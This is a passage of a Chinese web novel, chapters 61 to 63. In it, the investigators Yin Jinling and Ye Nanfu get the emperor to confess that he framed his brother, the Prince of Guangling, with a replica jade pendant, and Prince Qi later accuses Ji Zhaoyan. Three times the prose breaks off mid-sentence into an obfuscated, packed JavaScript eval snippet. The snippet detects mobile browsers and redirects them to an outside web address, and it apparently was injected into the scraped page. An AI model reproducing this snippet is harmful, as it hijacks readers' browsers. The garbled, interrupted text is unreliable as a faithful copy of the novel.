“寡人不曾告知过任何人,怕又牵扯出妖蛊案那般的事端,尤其在母后刚故去的档口上,可心中又不免隐隐不安,便私下联系仙盟的长老,发了这措辞隐晦的心愿,是希望能有仙家暗中前来查明此事。” 殷烬翎道:“那为何如今在下接手了此事,陛下却又推说事情已了,不欲令在下前来呢?” “由于之后的三七、五七怪力乱神之事频出,寡人便正式请求仙盟介入,还发布榜首心愿,因而时至今日,已有众多仙门道长在调查参与此事,故而也不需要再多劳动一位了,若说已然请了其他道长,难免显得驳斥仙家的颜面,便推说事已了结。只是未曾想到,这位接手的道长竟已身在宫中。” “哦,竟是如此——”殷烬翎微微拉长了尾音,显得有些煞有介事。 “可是陛下,”她又接着道,“您为何要说谎呢?” 皇帝闻言微微一愣,随即面色不变道:“寡人不曾,前言句句属实。” 殷烬翎正斟酌着用词怎么含蓄委婉些,以免驳了皇帝的面子,却蓦地被身旁沉默了半晌的叶南扶拉了一下。 她一愣,便朝他看了过去,不想他趁着这空当抢先开了口。 “这番说辞,想必是陛下在方才顷刻间想出的,已属难得了,只是陛下话中却颇有些前后矛盾之处。”叶南扶略带些倨傲地抬眼迎上皇帝的目光,“需要我一一指出其中疏漏嘛?” 此言说得委实无礼了些,皇帝面上不免有些愠怒之色,声音也瞬间冷了下去:“寡人素来敬重仙道,故待道长以礼,可若道长失礼在先……” “陛下先莫急着动怒。”叶南扶一边说着莫动怒,一边却又打断了皇帝的话,“不如听听我怎么说再做定夺?” 皇帝强压下了怒气:“你且说来。” 殷烬翎觉得皇帝已经涵养很好了,若换了她怕是早就气死了,这皇帝陛下平日要应付各方大臣直言相谏,大约也修得一门好佛法吧。 “其一,陛下方才一见到我们便应当知晓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280591|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下这个寻找玉玦心愿之人正是在后头请来的仙家之中,那么为何还要拿玉玦示以我二人,以表示此事已了并催促我们回去?这与陛下后来所言,是因‘已请来仙家故假托推辞’不免前后矛盾。也是由此,我猜测陛下是在被问到‘为何妖蛊案的证物在陛下手上’之时,即兴想出的这套说辞。” “其二,太后头七那日陛下在寝宫枕下发现这枚玉玦,第一反应居然不是找来值夜的内侍宫人问个明白,或是暗中找臣属调查此事,而是直接瞒下再私下找仙家来解决,我倒想问问陛下,此事为何不能是人为,陛下当真如此畏惧鬼神之说?” “其三,不知陛下清楚与否,仙愿榜的发布时日是会被记录下的,这个寻找玉玦的心愿发布日期在六月初四,而太后头七却在七月十五,您说是因那日噩梦后玉玦出现在枕下,心有不安才发的?” “最后,‘寻找’一词可是相当微妙,不由令我想到,这玉玦,怕也是如那太后私藏画卷一般,是当年被陛下私自扣下未曾销毁,然而就在太后去世前一段时日,玉玦不知为何丢失,陛下自然不敢明目张胆地差人寻找,于是去发了心愿,可这枚失踪多日的玉玦,却在太后头七那日出现在了枕下,一时心头巨震,大惊失色,此后由于异事接二连三,陛下心中约莫藏着些事,故而神思不定,恐怕早已忘了还有那个心愿,直到今日被我们接手并找上门来,出于那些不愿透露的秘事,陛下便想着糊弄走我们。” “陛下,您说,是与不是?” 殷烬翎在一旁听得心惊肉跳,直觉得皇帝下一刻就要喊人进来轰走叶南扶了。 不是,老哥,我这还打算琢磨琢磨怎么讲委婉些,对方毕竟是皇帝不能随意冒犯的,结果你直接抢先一通猛烈输出直接结束战局?这人平日里在我面前嘴欠也就算了,这种时候能不能给我稍微嘴下留情点啊! 皇帝听了久久未有发话,殷烬翎心下惴惴不安,只觉得这诡异的沉默怕是他在酝酿一波大招,虽说冤有头债有主,但看这情形不波及到她想必不大可能了。 “道长……”皇帝开了口,声音听不出喜怒。 这陛下还能尊称一句道长真的非常好脾气了,但是下一句肯定是“你简直满口荒唐,来人啊,把他们打出去”之类的。 “你……” 来了来了,准备好迎接棍棒相送吧。 “说的没错。” 唉……咦??他台本是不是拿错了,这词儿明显不对啊!喂,你可是皇帝啊!这人设绝壁崩塌了吧?还是说其实是我一直搞错了,他就是个相当儒雅随和温良纯善的皇帝? “还是瞒不过道长的耳目。” 皇帝低了头,抬手掩面,满是无奈苍凉的声音竟隐隐带了几分解脱的快意。 “这个遗忘多时的心愿在今日被二位道长接下,大抵也是白仙赐给寡人的一个契机……让寡人直面自己内心,将深藏多年的那些秽暗残破之物,剖陈开来与人观看。” 61. 第 61 章 母后说,诸事皆已备妥,明日朝堂之上,将宣布拥立你为新主。 母后说,素知你志不在此,但国不可一日无君,大乘江山万不能四分五裂,陷于各方争斗之中。 母后说,不是你也会是你幼弟,自己瞧着办。 于是我想,那还是我来吧,弟弟还小,就他那直率的性子,真对付不了朝堂上那些弯弯绕绕之事,况且长兄不愿担当便推给幼弟,像什么话。 所以啊,谢霁,你真不像样。 在过去二十来年的生涯里,从未想过这个责任有朝一日会落到我头上,因而储君的课业从前没习过多少,许多家国大事的处理还得从头学起,虽说前边诸事尚有母后在支撑,但毕竟一介女子,名不正言不顺,日久恐遭人闲言“牝鸡司晨”。想到母后在朝堂各方间周旋不易,我只能夜夜挑灯勤政,通宵达旦,只望着能快些接过母后的重担。 夜半偶尔看着灯火出神时,会想到谢霁,如今他乱逞英雄被夷狄生擒,也不知如何了。他贵为太子,危难关头却为大乘抛头颅洒热血,可歌可泣,定能青史留名,得后世传颂。可谁又会知道,他倒慷慨赴军走得潇洒,留下蠢蠢欲动的各地势力和心怀鬼胎的朝堂诸臣,献给他本该颐养天年的母后和两个以往不通政事的弟弟,令他们在内忧外患与明流暗潮中勉力挣扎求生。 天佑二年的年初,幼弟十六岁,自军中回来,封了广陵王。自从谢霁亲征一去不回后,他便投身了军营,至今已有两载,广陵的成长我一直看在眼中,着实令人心疼。册封过后,他当下自请为镇北将军,带兵北伐。 广陵在军事一途上确是不可多得的奇才,自其正式掌兵权北伐后,捷报频传,短短两年内收复北地大片城池,歼灭俘虏敌方数支军队,百姓无不颂其美谈,夷狄莫不惧其威名。 夷狄很快因战事亏空了国力,派使臣前来谈和,其话中暗指我皇位来路不当,倘若任凭广陵继续进军,凉州城破将救出前太子。使臣问我,前太子回来若要陛下让位与他,陛下让是不让? 此一问若在三年之前,我定毫不犹豫地还位与他,然而如今…… 我已为此倾注了多少个日日夜夜的心血,熬出了多少稀稀落落的白发,磨秃了多少形形色色的笔毫,时至今日才勉强打理好这片险些残破不堪的河山,当初丢下一摊狼藉不堪的惨象,如今见情势好转便欲抢占回手里,天底下哪有如此便宜之事? 在此之前我本已有忧心,连年的战乱令百姓流离失所,为了支撑起军队的消耗,徭役赋税更是令民众苦不堪言,甚至为了扩充军队,有不少地方已然瞧不见青年男子,何况此时冀州旱灾已显出些许苗头,国库却全数充了军饷,再缠斗下去毫无益处。既然夷狄已有求和之意,也是时候停战休整生息了。 可旨意降下,却被广陵撕毁,撒在了风中。随后他带兵攻入凉州,救下谢霁,并差人送回江宁,又长驱直入,直捣夷狄大营,一役连下四城,迫得夷狄不得不退避千里,再无还手之地。 在此期间,不论我如何发信函、下谕旨,尽数如泥牛入海,他统统不予理会。 冀州大旱已初具规模,饿殍遍野,难民无数,地方州府频频上报求开国库下拨灾银,可因连年战事,国库哪还拿得出半点赈灾银两,我在这里兀自焦头烂额,广陵却丝毫不为所动。 尔后广陵大胜班师回朝,所过之处百姓夹道庆贺,一句“江山虽有帝,大乘靠广陵”传唱遍万里山河,宛若一场盛大狂欢。想着冀州如幽冥炼狱之恶象,而冀州之外,盛世繁华,俨然天上人间。我夹在这当中,如同身处异域般格格不入。 冀州旱灾刚刚有了起色,信州又发了洪涝,祸乱频频之下终是操劳过度,一场风寒就病倒了。可朝内朝外却纷纷议论起当今陛下皇位来路不正,又平庸无为,这才天降灾祸接连不断,不似淮安王大义,更比不得广陵王英勇。 大约在百姓看来,治国不当自然归咎于皇帝无能,而将军只需要奋勇杀敌,外驱敌寇,便可收获数万子民的称颂。 我看着广陵自信坦荡的侧脸,忽然生出些许嫉恨之心。 想着当初广陵竟敢当着数万大军的面撕毁圣旨,还由于天下悠悠众口罚不了他,这口气实在难以下咽。 于是我暗中差人将一枚往常贴身佩戴的玉玦照着复刻了一份,藏到了广陵的府中,这玉玦是先皇传下,只此一份,算得上我的信物,依他这藏不住事的性子,若发现此物定会主动交出,届时便可借题发挥,以私刻帝王信物之名,让他吃个暗亏,罚其禁足思过个几月,也好教他收收这目无法纪的脾性。 然而此后没过几日,一只乌鸟撞碎我寝宫内瓷器,瓶中惊现一吊诡的木偶,由此爆发了妖蛊案,天灾之事被揽到了妖蛊头上,倒是没人再说起皇位来路不正之说了。 然而令我始料未及的是,原只想着小惩大诫,却不慎闹大了,自母后寿辰上那幅画卷现世以来,事态急转直下,完全超脱了我的掌控。当那画卷鉴定为广陵的笔迹时,我惊觉不妙,连忙想找人去取回那玉玦却已来不及,广陵王府已被母后下令抄没,搜出了我那枚玉玦。 而我,什么也没说,什么也没做,只是默默将自己手里那块玉玦,藏到了最底下的角落。 此后的无数日夜,每每辗转难眠,念起天牢中的广陵之时,我便劝自己,事已至此,即使我再承认那玉玦是我放的也徒劳无益,不过平白揽个腌臜事上身罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297338|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,况且又并非我这一项证物,那画卷、那半成品木偶,照样能治他的罪,非我一人之过。 非我一人之过。 非我一人之过。 我不断劝慰自己,或许只有靠这样,我才不至于失了仪态,才能堪堪维持住平静,目送着他带着镣铐,与流放的众犯一同被差役押解出城,他一步一回头,铁链随着他的脚步锒铛作响。 那是我见他的最后一面,可那锁链之声在他过世后的数年里,一直到近日,还反复不断地,无数次在午夜时分造访我梦中,如同附骨之疽,深深扎根入我的心中,无以剜除,无药可医。 我明白,这病叫愧疚。 - “所以,这玉玦并非陛下私藏的证物,真正的证物是其复刻,早已销毁了,是嘛?”殷烬翎道。 “不错。”皇帝点头。 “那既然陛下当初将其藏到了最底下,又是如何会丢失的?” 皇帝叹了口气,道:“其实……在妖蛊风波过去之后,寡人身边宫人也换了一波,已经鲜有人知晓当年之事了,更罔论这玉玦的模样,故而这几年夜半惊醒之时,时常会将其取出来看一看,便也不再藏到最底下去了。” 他指了指桌案旁的架子,上边摆有那个装有玉玦的木匣子,道:“那架子上放的都是些寡人珍爱的藏品,特意嘱咐过宫人不得随意碰触,放在那儿应当不会有人知晓才是,然而一日再度去查看之时,匣子还好好的,里头的玉玦却不见了。” “此后,便与道长所言无异,失踪月余后,它又在头七那日出现在了枕下。” “如此说来,”殷烬翎摸摸下巴思索道,“陛下先前希望仙家们查明的那个‘祸患’莫非就是……” 皇帝沉默不语,对面两人都静静正视着他,等着他开口。 “是……”良久,皇帝才难以启齿般从唇缝里吐出一个字来。 是广陵王之怨灵。 不需要再多说,殷烬翎也明白。皇帝怕是以为丧期内这诸多怪力乱神之事,皆是缘于广陵王被构陷,含冤而亡,故化身恶鬼怨灵,回来复仇。 殷烬翎心下了然,也不再就此多问了,只是…… “为何怪象的出现会循着太后丧期祭祀之日,陛下可是知道什么?” 此言一出,皇帝攥着袖边的手显见地微微一动,瞳神也缩了缩,须臾,像是下了决断,他缓缓呼了口气,抬头看向殷烬翎,不再迟疑地点了点头。 “此乃绝密之事,知晓此事内情者,如今这世上只余下寡人了。” 他向前探了探身子,离二人近了些许,压着嗓子,只用喉咙底里的声音道:“妖蛊一案,实为母后策划,嫁祸广陵。” 62. 第 62 章 两人从太极宫出来之时,天色已然拉下了半边帷幕,只西边的宫殿轮廓上,还留有一圈残阳濒临陨落前的回光返照。 谁也没有出声,只是这么并排着静静行走,连以往分外畏惧这种尴尬气氛的殷烬翎竟也毫无出言缓解的意思,只兀自沉吟着,脑中不断回响着皇帝的话。 ——那幅据称极具咒害之意的画,寡人曾见过其原貌。 ——为何称原貌?因为它原先并非这般诡谲,乌鸟喙中以及鼎内那些鲜血都是后来才用朱笔添上的,起先这画描绘的只是再寻常不过的,一只乌鸟停歇于鼎上,如此平实无华的画面罢了。 ——这画是天佑四年,广陵北伐归来,碰上母后寿辰将至,由于天灾需缩减开支,母后便提议不设宫宴,不事铺张,一切从简,于是广陵挥笔画下这幅乌鸟图,送与母后作为寿礼。 ——不知道长有否仔细端看过,那画右上还残留有一些墨点,那里原是有一只较小的乌鸟自远处飞来,意指他北伐归来,而立在鼎上的这只则代表母后,鼎为国之重器,寓意为母后过往在动乱时守候了大乘的江山万里,而慈乌反哺,如今轮到他来接手家国重任了。 ——为何会得知?因为广陵曾拿这画来询问过寡人意见,后来他欣喜地告诉寡人,母后很喜欢,还打算将其挂到内室墙上。 内室的……墙上?殷烬翎想起了慈宁宫里,太后卧房的墙上留着一片空处,像是原先挂过画却又取了下来。 太后是将广陵王送的画从墙上取下,请了御画坊的人来添了血色的朱笔,尔后以此来诬陷广陵王牵涉妖蛊。 可……为何呢?太后缘何如此处心积虑,只为构陷自己亲子? 是他在北地抗旨不遵,自作主张攻下四城、救回淮安王? 是他听信了朝臣谗言,自认惊才绝艳、飞扬跋扈起来? 还是他功高震主,令天下百姓只认广陵、不识皇帝? 如今太后已死,画师陈彦藩也被杀害,其中真相只怕已无人知晓。 殷烬翎正想着,冷不防身旁的叶南扶拉了拉她的袖子,她疑惑地抬头看过去,叶南扶却目视着前方,她循着视线一望,只见前边立着一人,正拱手向自己行礼。 “齐王殿下?”殷烬翎皱眉想了好一会,才记起此人是谁,忙也回了礼。 齐王谢颂是皇二子,较襄王大一岁,当下只见他长身玉立于前,生得甚是器宇不凡。 齐王微微一笑,对殷烬翎这明显忘了有他这号人物的尴尬浑不在意,仍是彬彬有礼道:“二位道长方才是自太极宫而来?” “正是。”殷烬翎道,“殿下可有事要谈?” “其实也并无要事,只是有些好奇罢了。”齐王摇头笑道,“不知百日那案子……进展如何了?” 这齐王,莫非以为我们方才在太极宫是向陛下汇报案情嘛? “尚无结果。”殷烬翎微微眯了眯眸子,目光锐利了些,“殿下……似乎对此格外关心?” 任谁也听出话里的不对了,齐王笑容滞了一滞,连连摆手,讪讪地笑道:“不不不,就是有些事想与道长私下谈谈,道长可千万莫要误会我探听此事的用心。” “哦?”听这话像是掌握着点线索的意思,殷烬翎来了兴趣,“去何处谈?” “我的行宫。”齐王让开了路,伸手做了个请的手势,“二位请随我来。” - 齐王屏退了婢女,亲手往两人面前的茶盅里斟上茶,边笑吟吟地道:“二位道长忙了一日也辛苦了,尝尝这碧螺仙品,这可是大乘皇朝三年一次的上贡里才能见到的……” 嗯嗯,好茶! “哎,一看道长就非常识货,想必也是品过不少名茶之人了,道长可知道‘茶’字有哪四种写法?” 不知道。您能讲重点了不? “太平猴魁,西湖龙井,黄山毛峰,还有道长手中这碧螺春,就是茶的四种写法!是不是意想不到?” 这人怕不是是个茶叶精变的吧!我认输我认输!怎么能比我还话痨,而且还是说半天绕不到重点上去的那种,你倒是有线索快讲啊! 殷烬翎听他喋喋不休地说着些无关痛痒的话题,又抬眼看了看外头已擦黑的天色,不禁有些烦闷起来,牛嚼牡丹一般灌了口茶水。 正讲到兴头上的齐王乍见这一幕,顿时消了音,呆呆地盯了殷烬翎许久,垂头丧气地坐了下来。 叶南扶轻轻嗤笑一声,懒洋洋地开了口:“殿下,天色不早了,有话不妨直说。” 齐王再不嬉笑,正了面色道:“我是来揭发姬朝颜之恶行的。” “为何?”殷烬翎有些惊讶,“她不是你弟弟的正妃嘛?” “是,但她就不是什么正经人。你说她怎么就这么有能耐,阿预自从见了她之后,就整日魂不守舍,茶饭不思,动不动就跑去寻她,从前还与我一同说‘兄弟一生一起走,谁先脱单谁是狗’,结果转头就为了个女人说出‘我和太子一起走,就你是条单身狗’这种话来!你说可气不可气!” “可、可气,但是殿下……” “对嘛!阿预会变成这个亚子,怎么想都是那个女人的错,现在看他天天鞍前马后端茶倒水好言好语地哄着,那女人稍微有好点脸色,就恨不得要把心都掏出来给人家,真的卑微到地心的一只舔狗!不过这个阿预,亏他从前还那么景仰小叔叔,说什么‘将来要成为像小叔叔一样光风霁月的人’,我就知道,小叔叔送他的小玩意隔天就能弄丢的人,你指望他是什么念旧长情之人吗?你说是吧?” “是是是,那个……” “就是说啊,小叔叔刚走那会儿还好好的,然后就过了一年,你能想象吗,这才一年时间,他在宫宴上见了那个女人,我要知道他会成了这模样,当初那宫宴我就是饿死,死外边,刀架我脖子上,也绝不会拉他去!没有真香!不要肤浅地以为我就是因为单身还要天天忍受这两个人在我跟前眉来眼去秀恩爱才会这么深恶痛绝痛心疾首捶胸顿足,我看到的是一个人灵魂思想的堕落,是一个个体人格尊严的沦丧,是一个少年理想追求的消亡!” 我错了,我为我先前浅薄无知的想法而深深羞愧,这人根本不是茶叶精变的,他分明就是一整个的柠檬精!一开口就能闻到扑面而来直冲云霄的浓重酸味,这该是酝酿了多少年的怨气啊!虽然我也见过他俩组队出来羡煞旁人,内心也是波澜起伏甚至还想一脚踢翻狗粮碗,可我好歹没有逮着个陌生人就一通乱酸啊,而且还是准备听你讲案情线索的陌生人! 叶南扶眼神朝脸色难看的殷烬翎瞥了过来,挑眉轻轻一笑,像是会读心术似的知道她此刻定在内心吐槽不止,微微张嘴,用口型示意:你们撞属性了。 行吧,确实,而且甚至比我更胜一筹。主要是,这个人丝毫不怕尴尬,所以我一早就输得一败涂地,有这样出色之人珠玉在前,我这种得了尴尬症的选手还有存在的必要嘛?我宣布,退出话痨界,从此转型成为一个沉默寡言的人。 “你说他但凡还有一点点未泯灭的良知,他就不该……” “殿下!齐王殿下!”殷烬翎忍不住拔高了声音叫道。 “啊……啊?怎么了?”齐王骤然被喊了名字,总算从滔滔不绝的自说自话中回了神。 殷烬翎深吸一口气,平复了下烦乱的情绪,展开一个无比灿烂的笑容:“殿下,百日的案子还有待我们去忙,殿下先前所说之事若非案情相关,便恕不奉陪了。” “哎,等等,二位留步。”见殷烬翎言语间透露出欲离开的意思,齐王有些急了,连忙站起身来劝阻,“我敢保证,此事与案情绝对相关。” 殷烬翎坐着没动:“殿下说便是。” 齐王有些懊恼地拍拍头道:“唉,恶习了,一直改不了,说话总不着边际。” 他坐下来,神色又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307815|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严肃起来:“其实我方才所言也并非无关之事,姬朝颜这个女人,答应嫁与阿预绝对没存着什么好心思!” “答应?”殷烬翎疑惑道,“不是襄王去向太后软磨硬泡求来的赐婚嘛?” “哪能啊,皇祖母以往可宠着她那宝贝侄孙女了,要不是那姬朝颜自己点头首肯了,阿预就算把嘴皮子磨破了怕是都求不下来这道旨。”齐王冷笑连连,“可即便如此,他俩如今成婚都有将近一年了,也没见她对阿预假以辞色,平日里恭恭敬敬地朝他喊着‘殿下’,端的是一个相敬如宾。” ……呃,其实……今日我见她时已经喊了“阿预”来着,但是这事儿还是不说出来为妙,免得一会儿这个柠檬精殿下又开始他的酸言酸语了,趁他现在还算正常赶紧把话说完吧。 “那与这个案子又有什么联系?” “是因为……数日前,我见到襄王府的几个府兵刚从襄王的行宫出来,可我们进宫是为吊唁皇祖母而来,顶多带了几个平素照料起居的婢女便罢,需要调来府兵作甚?再者,那几个府兵都做了小厮的打扮,若不是我以往时常到访襄王府,与他们混得熟了,只怕都认不出来。我便拦了询问,他们神色颇有些异样,只说奉命要去办点差事,我问可是他们王爷吩咐的,他们点头称是。” “我当下便起了疑心,阿预明明与我说好在景和园那儿的凉亭里见,我知他早早便去等我了,又怎么还会待在行宫里?打发走了府兵,我便假意拜访了他的行宫,果不其然,阿预并不在,行宫里只有那女人,她见我到访,面上略显得有些局促和不自然,与我道‘殿下不在,不是说约了二殿下去景和园吗’,尔后便一直在明里暗里催促着我快些过去。我也不好再待下去,便离开了,但是从只言片语的交谈中我可以断定,方才差遣府兵出去的定是她无疑,至于她意欲何为,彼时我暂且不知。” “若是后来安然无事,我自可以当作未曾知晓,然而偏偏发生了百日的案子,我便无法再坐视不理,于是有了今日来找二位道长这一出。” 殷烬翎正拧着眉头思考,忽然只听身畔的叶南扶发问道:“殿下先前说的小叔叔,莫非是……已故的广陵王?” 齐王面色微微沉了下去,似是想起了一些难以释怀的往事,沉默良久后,点了点头。 “小叔叔只大了我们八九岁,武艺非凡很是令我们钦佩,兼之为人又甚是开朗明快,阿预尤其喜欢缠他,三天两头与我炫耀,小叔叔又教了他什么招式,小叔叔又给他讲了什么故事,最令他沾沾自喜的一次,同我显摆小叔叔送了他个小玩意儿,却又煞有介事地不肯告诉我是什么,结果隔天就给弄丢了,那叫一个呼天抢地,后来还是小叔叔答应过些天再送个原样的给他,这才罢休,然而……他还没等到那一日,小叔叔就进了天牢。” “阿预他……深受打击,屡次跑去找皇祖母求情,可向来宠爱阿预的皇祖母却似乎铁了心,不仅将阿预赶了出去,还禁了足。后来小叔叔判了流放,阿预都没能去见上最后一面。” 齐王说着,忽然自嘲地笑了笑:“不过他现下大抵都快忘了这些事了,不,应当说如今整个皇城的人都在有意无意地尝试去忘掉广陵王这个名字,就我还执拗地记着一切,从不敢有片刻疏漏,以至于提笔写下传记。” 他深深吸了口气:“我怕有一日我也忘了,一朝又一朝更替,世上就再无人记得,曾有一人,如清风朗月,如巍峨群山,不离不弃地护卫着每一个子民。” “那妖蛊案……”殷烬翎不禁出声道,“殿下如何作想?” 齐王轻笑一声:“我心中自然有面明镜,我想其实大多数人亦是如此,只是事到如今,真相与否已经不那么重要了,斯人已逝,当初的我无法做到的事,如今依然无能为力,那么别的即使再千般万般也于事无补。” “我唯一能做的,就是尽力写下我看到的一切,剩下的,时间自会替他洗清。” 63. 第 63 章 从齐王的行宫出来,回到住处之时,夜色已深,放在住处门口的食盒,里头饭菜早已凉得结成了冻。 殷烬翎还是将其一一拿出来摆上了桌,用灵力热过一遍之后,白茫茫的雾气飘了满屋子,一片氤氲之中,对面坐着的叶南扶在云雾缭绕下若隐若现,令她一时有些看不大清他面上究竟是何神情。 总归不会是什么好脸色吧。她想。 毕竟就在刚才回来的路上,两人还起了一番争执。 争执的起因自然是案子,因为两人各自思索过后,得出了截然不同的两个结果。 说到底,他二人的风格本就是迥异的,他那过于跳脱的思维和依靠灵光一现的直觉断案,早已被她吐槽了数回,而她讲求证据与逻辑链的行为也被他嗤之以鼻。 于是就演变为了他讽刺她思维僵化,只会一味追逐证物的脚步,她又反唇相讥,嘲笑他无凭无据,逻辑全靠脑补。最后自然是谁也说服不了谁,不欢而散。 当然散是没法散的,毕竟住处还是同一个,只能是一前一后,隔了有五步远,不言不语地一同走回去。 不过吵架归吵架,有些事也不是赌气就不做了的,他们跟封荀那个大龄幼童可不一样,都是心智成熟的成年人了,所以饭还是要吃的。 考虑到叶南扶今日在皇帝和齐王那里都没蹭到什么零嘴——皇帝一开始急着赶两人走,齐王又是个狂热的茶叶教徒——他这顿食量必不会小,而这送来的饭菜一直都是两人份,所以她得赶紧吃,免得待会一转眼就被他搬空了盘子。 饶是如此,当她第二次将伸筷子向那盘红糖糍粑之时,惊愕地发现只余下一块了,且就在她愣神的功夫,斜里猛然杀出一双筷子,精准地夹住、送到嘴边、吞进去,一气呵成。 殷烬翎顿时杏目圆睁狠狠瞪着他,一时间忘了两人尚在冷战,忍不住漏了两个音:“你这……”话一出口反应过来,急忙消了声。 叶南扶倒是一副浑不在意的样子开了口:“这玩意还是太小了,让成年人根本无法满足……” 殷烬翎:“???” 他呼出一口气:“……自己的胃口。” 殷烬翎:“……” 殷烬翎:“您说话能不大喘气嘛?刚才绝壁是故意的吧?” 叶南扶露出天真无邪的笑容:“没有哦。” “你以为我们人民的除灵师会相信你的鬼话嘛?” 叶南扶叹气:“我好心好意骗你,你为什么不相信。” “你当我头一天认识你嘛?”殷烬翎翻个白眼。 叶南扶轻声笑了笑,声音如同暖风拂过柳梢般轻柔:“不生气了?” 殷烬翎愣了愣,连忙别过脸,却在他看不见的地方微微弯了弯唇角,鼻子里轻轻哼了声。 叶南扶道:“我仔细想了,为了这点小事远没有必要如此,人与人之间的差异本就几可堪比人与妖的差异,何况如今不过是推理方式的不同罢了,甚至就追寻真相而言,二者还应当互补才是,况且……” 他顿了顿,笑了起来:“孰对孰错,明日就能见分晓了不是么?” 殷烬翎闻言,刚刚有所舒缓的面色又不悦了起来,柳眉倒竖:“口气这么大,你吃芹菜了嘛?” “芹菜倒是没吃。”叶南扶拿筷子敲敲空碗的边沿,“但这里的菜都快被吃完了。” 殷烬翎忙转头一看,桌上整整齐齐摆着数个空盘子,而剩余没空的也已被掏空了灵魂,只留着一些无人问津的葱花漂在汤水之上,好不凄惨。 莫非老哥刚刚忽然插科打诨起来,甚至车轱辘都往我脸上轧,都是为了转移我的注意力,好趁机从我嘴下抢食,而我居然还中招了! 然而事已至此,殷烬翎除了用凶神恶煞的目光恨恨瞪着叶南扶之外,便只能就着清汤寡水扒了些饭,一时只觉得辛酸无比。即便麻雀胃如她,在叶南扶卑劣手段的抢夺之下,依然只垫了个半饱。 她拿起放在地上的食盒,正打算将空盘收拾进去,却在食盒最底下一层发现了一碟酥饼。 她当即洋洋得意地取出来,还在举到叶南扶面前晃了两晃,趾高气扬地拿下巴看着他:“这个,你就别想再染指了。” 叶南扶撇开脸,冷笑一声,正眼也不给一个。 殷烬翎掀着嘴角一哂,咬了一口酥饼,慢慢嚼着,声音在万籁俱寂的夜里显得格外清晰,她拿余光暗暗窥着,倘若他实在忍不住偷瞄过来一眼,就勉为其难地分他一些。 可直到她咬下最后一块,他却始终背对着她纹丝不动,不曾投来一眼。 几块酥饼下肚,算是有些饱了,她便继续收拾,那边叶南扶面无表情地将一摞叠好的空盘子推过来,她一边往食盒里摆,一边心下咕哝着:今日说老哥态度改变不少,他还否认来着,以往指望他挪一挪换个地儿坐着都不容易,近来都能帮着收拾残局了,这已经不叫改变了,叫超级变换形态了好嘛? 放着放着,她手下忽然一顿,若有似无地瞥了一眼叶南扶,后者正晃悠着腿瞧着窗外,也不知在想些什么,嘴角似有些微上扬的趋向。 她不露声色地将食盒盖上,提了出门去,放在殿门口廊柱底下。 冬夜里的寒风在树丛间低吟浅唱,她却并未急着回去,而是打开食盒的最下层,看了眼那只装着酥饼的盘子,虽然很少,但还是能见到掺杂在酥饼残渣中的一些红糖糍粑碎屑。 刚才收拾盘子的时候,发现少了一只。 先前是她一盘一盘用灵力热过的,自然清楚有多少个。 那盘最早空了的红糖糍粑,在她没注意的时候,被重新放上了酥饼,藏进了食盒里等着她去发现。 她盯着盘子瞧了半晌,慢慢地放了回去。 那是他自己藏着的私货嘛?原本是留着何时吃的呢?方才听着我吃,怕是心痛得不行吧,也难为他还要装出一副不屑一顾却又状似酸溜溜的模样。 这个人,究竟何时才能稍微坦率一些呢? - 次日,殷烬翎在宫外四处折腾了一天,回来时已是星斗高悬,但此刻她脚下的方向却并不是自己的住处。 她打算一鼓作气,今日可了结之事,没必要再累及明日。再说,她也确实有被老哥昨日之言激将到,故而起了一大早,独自一人先去了集市,后又在南三街打听了一番,这才回了宫。 至于叶南扶,她晨起出门之时,他房里还丝毫没有动静,横竖他俩现下思路不同,怀疑对象不一致,自然需搜集的证据也不尽相同,原没有必要再强行凑在一处结伴查案了。不过她今日四处奔走之时,也常想着老哥此刻会在何处,是否寻到了足以支撑起他猜想的铁证。 包括她当下随婢女进了院落,看着婢女抬手敲门询问之时,脑中仍旧会闪过“老哥该不会已经在里面了”这样的念头。 门一打开,屋里燃着明晃晃的油灯,其微微发黄的火焰在门外晦暝的天地间投下一小片浅淡的光晕,屋内并没有叶南扶,甚至没有其他人,惟有一个颀长挺拔的身影侧立在明暗交接处,半边脸悄然隐没在难以洞明的灯下孤影中。 他转过身来,面上带着的明朗笑容在烛火照彻下现出几分冷淡的疏离,微微倾身朝立在门口的殷烬翎行礼:“道长。” 殷烬翎没有立刻回礼,而是直直站在那里,目光一瞬不瞬地注视着他,许久才出声道:“襄王殿下。” 襄王冲殷烬翎身后的婢女轻轻点了下头,婢女欠身退下了。 他几步来到殷烬翎面前,二人间只隔着一道门槛,襄王在灯火通明的门里,而她在暗影幢幢的屋外。 襄王笑了笑,侧身让开,比了个请的手势,温文尔雅道:“道长请进,预等候多时了。” 殷烬翎蹙眉,抬步跨进屋内。 